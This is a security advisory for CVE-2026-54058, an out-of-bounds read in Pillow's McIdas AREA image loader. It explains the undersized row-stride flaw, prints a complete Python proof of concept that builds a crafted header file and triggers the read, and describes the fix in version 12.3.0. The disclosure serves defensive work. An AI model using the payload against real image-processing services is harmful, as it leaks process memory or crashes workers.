highCVE-2026-54058Jul 20, 2026

CVE-2026-54058: Pillow Out-of-Bounds Read via Undersized McIdas AREA Row Stride

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A crafted McIdas AREA image with a manipulated row-stride field tricks Pillow into reading far beyond a memory-mapped file, leaking adjacent process memory or crashing the worker.

Packagepillow
Ecosystempip
Affected< 12.3.0
Fixed in12.3.0

The problem

Pillow's mmap path for raw-codec tiles (used when opening an image from a filename) builds per-row pointers spaced stride bytes apart inside the mapped file. The McIdas AREA plugin derives stride directly from attacker-controlled 32-bit header words with no lower-bound validation.

Setting stride to 1 while keeping a large xsize passes every size check in both ImageFile.py and map.c (which only verify offset + ysize*stride <= buffer_len). Once any pixel-access call (tobytes, getpixel, convert, save) fires, the raw encoder reads xsize bytes from each row pointer, running far past the mapped region.

The result is either leaked adjacent heap or mmap memory (information disclosure) or a SIGBUS crash (denial of service).

Proof of concept

A working proof-of-concept for CVE-2026-54058 in pillow, with the exact payload below.

python
import struct
from PIL import Image

# McIdas AREA file layout: 256-byte header of 64 big-endian int32s (words 1-64).
# Word indices below are 1-based (w[1] = first int32).
#
# Exploit values:
#   w[1]  = 0            (must be 0 for _accept to pass; the real prefix check is the
#                         first 8 bytes == b'\x00\x00\x00\x00\x00\x00\x00\x04')
#   w[2]  = 4            (second word must be 4)
#   w[9]  = 1            ysize  = 1 row
#   w[10] = 200000       xsize  = 200 000 pixels  (real bytes read per row)
#   w[11] = 1            bytes/pixel => mode "L", pixelsize=1, in _MAPMODES
#   w[14] = 0            => stride term w[10]*w[11]*w[14] = 0
#   w[15] = 1            => stride = w[15] + 0 = 1  (far below linesize=200000)
#   w[34] = 0            => tile offset = w[34]+w[15] = 1
#
# stride=1 satisfies: offset+ysize*stride = 1+1*1 = 2 <= 256 (file length) -> passes guard.
# But the raw "L" encoder then reads xsize=200000 bytes from im->image[0],
# which starts at mmap+1 inside a 256-byte file -> OOB read.

words = [0] * 65           # 1-indexed; words[0] unused
words[2] = 4               # _accept: w[2] must equal 4
words[9] = 1               # ysize
words[10] = 200000         # xsize
words[11] = 1              # bytes per pixel (mode L)
words[14] = 0              # multiplier -> kills stride padding
words[15] = 1              # base stride (sets stride=1 and offset=1)
words[34] = 0              # additional offset

# Pack words[1..64] as big-endian signed int32; word[0] is padding
header = struct.pack("!64i", *words[1:65])
assert len(header) == 256

with open("/tmp/poc.area", "wb") as f:
    f.write(header)        # 256-byte header; no pixel data needed

# Trigger: open from a path so Pillow takes the mmap branch
img = Image.open("/tmp/poc.area")
data = img.tobytes()       # OOB read happens here -> leaked memory or SIGBUS

The root cause (CWE-125) is a missing lower-bound check on stride in PyImaging_MapBuffer (src/map.c). The function accepts any positive stride, so setting it to 1 satisfies the offset + ysize*stride <= buffer_len guard with a 256-byte header file while the actual per-row read width (im->linesize = xsize * pixelsize) is 200,000 bytes.

The patch in PR #9719 adds a check that rejects any stride smaller than the computed line size, so row pointers can never reach outside the mapped region. Defense-in-depth validation was also added to McIdasImagePlugin._open to reject a stride that is less than xsize * pixelsize before the tile is even registered.

The fix

Upgrade Pillow to 12.3.0 or later (pip install --upgrade pillow). The fix in commit 6a8de891 (PR #9719) ensures stride >= im->linesize in PyImaging_MapBuffer and adds input validation in McIdasImagePlugin._open. No configuration workaround exists in older versions; update is the only remediation.

Reported by Devansh Shah, RUDRA Cybersecurity Pvt. Ltd..

References: [1][2][3][4][5][6]

Related research